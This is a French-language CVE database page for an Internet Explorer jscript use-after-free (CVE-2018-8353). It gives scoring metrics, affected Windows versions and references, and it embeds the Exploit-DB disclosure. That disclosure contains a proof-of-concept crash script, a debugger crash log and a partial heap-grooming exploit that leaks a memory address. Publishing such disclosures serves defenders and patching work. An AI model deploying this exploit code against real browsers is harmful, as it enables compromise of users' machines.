CVE-2018-8353 : Détail

CVE-2018-8353

7.5
/
Haute
Memory Corruption
80.51%V4
Network
2018-08-15
15h00 +00:00
2018-08-30
07h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer, aka "Scripting Engine Memory Corruption Vulnerability." This affects Internet Explorer 9, Internet Explorer 11, Internet Explorer 10. This CVE ID is unique from CVE-2018-8355, CVE-2018-8359, CVE-2018-8371, CVE-2018-8372, CVE-2018-8373, CVE-2018-8385, CVE-2018-8389, CVE-2018-8390.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 45279

Date de publication : 2018-08-27 22h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

<!-- There is a use-after-free vulnerability in jscript.dll related to how the lastIndex property of a RegExp object is handled. This vulnerability can be exploited through Internet Explorer or potentially through WPAD over local network. The vulnerability has been reproduced on multiple Windows versions with the most recent patches applied. The issue is that lastIndex property of a RegExp object is not tracked by the garbage collector. If you look at RegExpObj::LastIndex you'll see that, on x64, lastIndex gets stored in a VAR at offset 272 (at least in my version), but if you take a look at RegExpObj::ScavengeCore (which gets called by the garbage collector to track various member variables) you'll notice that that offset is not being tracked. This allows an attacker to set the lastIndex property, and after the garbage collector gets trigger, the corresponding variable is going to get freed. As JavaScript variables are all allocated in blocks by a custom allocator, to turn this into a crash the entire block of variables needs to get freed. This is similar to some already reported issues, e.g. https://bugs.chromium.org/p/project-zero/issues/detail?id=1506 PoC for IE: ========================================================= <meta http-equiv="X-UA-Compatible" content="IE=8"></meta> <script language="Jscript.Encode"> alert('start'); var vars = []; var r = new RegExp(); for(var i=0; i<20000; i++) { vars[i] = "aaaaa"; } r.lastIndex = "aaaaa"; for(var i=20000; i<40000; i++) { vars[i] = "aaaaa"; } vars.length = 0; CollectGarbage(); alert(r.lastIndex); alert('failed'); </script> ========================================================= Crash log: ========================================================= (760.650): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. jscript!PrepareInvoke+0x2b1: 000007fe`f26674f1 66390f cmp word ptr [rdi],cx ds:00000000`04878e98=???? 0:014> r rax=0000000000000000 rbx=000000000000400c rcx=000000000000008f rdx=0000000000000000 rsi=0000000000000000 rdi=0000000004878e98 rip=000007fef26674f1 rsp=000000001268b080 rbp=0000000000000080 r8=0000000004095f50 r9=0000000000000008 r10=000000000000000b r11=0000000000000005 r12=0000000000000000 r13=000000001268b158 r14=0000000004095f68 r15=0000000000000001 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 jscript!PrepareInvoke+0x2b1: 000007fe`f26674f1 66390f cmp word ptr [rdi],cx ds:00000000`04878e98=???? 0:014> k # Child-SP RetAddr Call Site 00 00000000`1268b080 000007fe`f26505d4 jscript!PrepareInvoke+0x2b1 01 00000000`1268b0f0 000007fe`f2674343 jscript!InvokeDispatchEx+0xb4 02 00000000`1268b280 000007fe`f263600b jscript!VAR::InvokeByDispID+0x3e303 03 00000000`1268b2d0 000007fe`f2636ee2 jscript!CScriptRuntime::Run+0x3a0c 04 00000000`1268b680 000007fe`f2636d4b jscript!ScrFncObj::CallWithFrameOnStack+0x162 05 00000000`1268b890 000007fe`f2636bb5 jscript!ScrFncObj::Call+0xb7 06 00000000`1268b930 000007fe`f263b690 jscript!CSession::Execute+0x19e 07 00000000`1268ba00 000007fe`f2644027 jscript!COleScript::ExecutePendingScripts+0x17a 08 00000000`1268bad0 000007fe`f2643826 jscript!COleScript::ParseScriptTextCore+0x267 09 00000000`1268bbc0 000007fe`e8effdd1 jscript!COleScript::ParseScriptText+0x56 0a 00000000`1268bc20 000007fe`e9661d3c MSHTML!CActiveScriptHolder::ParseScriptText+0xc1 0b 00000000`1268bca0 000007fe`e8f00d96 MSHTML!CScriptCollection::ParseScriptText+0x37f 0c 00000000`1268bd80 000007fe`e8f007d1 MSHTML!CScriptData::CommitCode+0x3d9 0d 00000000`1268bf50 000007fe`e8f00561 MSHTML!CScriptData::Execute+0x283 0e 00000000`1268c010 000007fe`e9663655 MSHTML!CHtmScriptParseCtx::Execute+0x101 0f 00000000`1268c050 000007fe`e8ee86c7 MSHTML!CHtmParseBase::Execute+0x235 10 00000000`1268c0f0 000007fe`e8e5ba49 MSHTML!CHtmPost::Broadcast+0x90 11 00000000`1268c130 000007fe`e8ec282f MSHTML!CHtmPost::Exec+0x4bb 12 00000000`1268c340 000007fe`e8ec2780 MSHTML!CHtmPost::Run+0x3f 13 00000000`1268c370 000007fe`e8ec4532 MSHTML!PostManExecute+0x70 14 00000000`1268c3f0 000007fe`e8ec7f43 MSHTML!PostManResume+0xa1 15 00000000`1268c430 000007fe`e8ea5fb8 MSHTML!CHtmPost::OnDwnChanCallback+0x43 16 00000000`1268c480 000007fe`e96d488f MSHTML!CDwnChan::OnMethodCall+0x41 17 00000000`1268c4b0 000007fe`e8dc9dc5 MSHTML!GlobalWndOnMethodCall+0x254 18 00000000`1268c550 00000000`76e79bbd MSHTML!GlobalWndProc+0x150 19 00000000`1268c5d0 00000000`76e798c2 USER32!UserCallWinProcCheckWow+0x1ad 1a 00000000`1268c690 000007fe`effe42fe USER32!DispatchMessageWorker+0x3b5 1b 00000000`1268c710 000007fe`f004ad2b IEFRAME!CTabWindow::_TabWindowThreadProc+0x555 1c 00000000`1268f990 000007fe`fec5a2cf IEFRAME!LCIETab_ThreadProc+0x3a3 1d 00000000`1268fac0 000007fe`f77e925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f 1e 00000000`1268faf0 00000000`76d559cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f 1f 00000000`1268fb40 00000000`76fb383d kernel32!BaseThreadInitThunk+0xd 20 00000000`1268fb70 00000000`00000000 ntdll!RtlUserThreadStart+0x1d ========================================================= Attached is a started-but-never-finished exploit that only leaks the heap address of the use-after-free allocation. It was tested against IE in 64-bit single process mode (via TabProcGrowth registry flag). In a 32-bit process (default) the structure sizes/offsets would likely be different so it would not work as is. --> <!-- saved from url=(0014)about:internet --> <meta http-equiv="X-UA-Compatible" content="IE=7"></meta> <script language="Jscript.Encode"> var objects = []; var regexps = []; var magicIndex = 0; var magicObject; var allocationAddress; function infoLeak() { // alert("in infoleak"); // leak the "next" pointer from one of the NameList entries allocationAddress = regexps[magicIndex + 6].lastIndex / 4.9406564584124654E-324 - 0x560; prompt("allocationAddress", allocationAddress.toString(16)); } // specially crafted property name that allows us to test for successful exploitation // and figure out which object got reallocated over freed block function getName4(index) { return String.fromCharCode(0,0,0,0,0,0,0,0, 3,0,0,0, index,0,0,0, 0,0,0,0, 3,0,0,0, 0x1337,0,0,0, 0,0,0,0); } function exploit() { // todo: trigger LFH for 0x970 allocation size, might make the exploit more reliable alert('start'); // crafted property names var name1 = Array(570).join('a'); // makes NameList allocation of exactly 0x970 bytes var name2 = 'bbbbbbbbbbb'; // length chosen to allign the next item correctly var name3 = String.fromCharCode(5); // 5 is the double var type, used to leak the "next" pointer // allocate empty objects for(var i=0; i<500; i++) { var o = {}; objects[i] = o; } // allocate regexp objects for(var i=0;i<10000;i++) { regexps[i] = new RegExp(); } // allocate variables that aren't being tracked by GC for(var i=0;i<10000;i++) { regexps[i].lastIndex = "aaaaa"; } // trigger freeing of var blocks CollectGarbage(); // allocate NameList blocks over freed allocations for(var i=0; i<500; i++) { objects[i][name1] = 1; } // fill NameList blocks with other data useful for infolek stage for(var i=0; i<500; i++) { objects[i][name2] = 1; objects[i][name3] = 1; objects[i][getName4(i)] = 1; } for(var i=0;i<10000;i++) { try { if(regexps[i].lastIndex == 0x1337) { alert("win"); magicIndex = i; magicObject = objects[regexps[i+1].lastIndex]; infoLeak(); return; } } catch(e) { } } alert('failed'); } exploit(); </script>

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 11

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_10 >> Version 1803

Microsoft>>Windows_7 >> Version *

Microsoft>>Windows_8.1 >> Version *

Microsoft>>Windows_rt_8.1 >> Version *

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 10

Microsoft>>Windows_server_2012 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 9

Microsoft>>Windows_server_2008 >> Version -

Références

https://www.exploit-db.com/exploits/45279/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1041483
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/105034
Tags : vdb-entry, x_refsource_BID
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.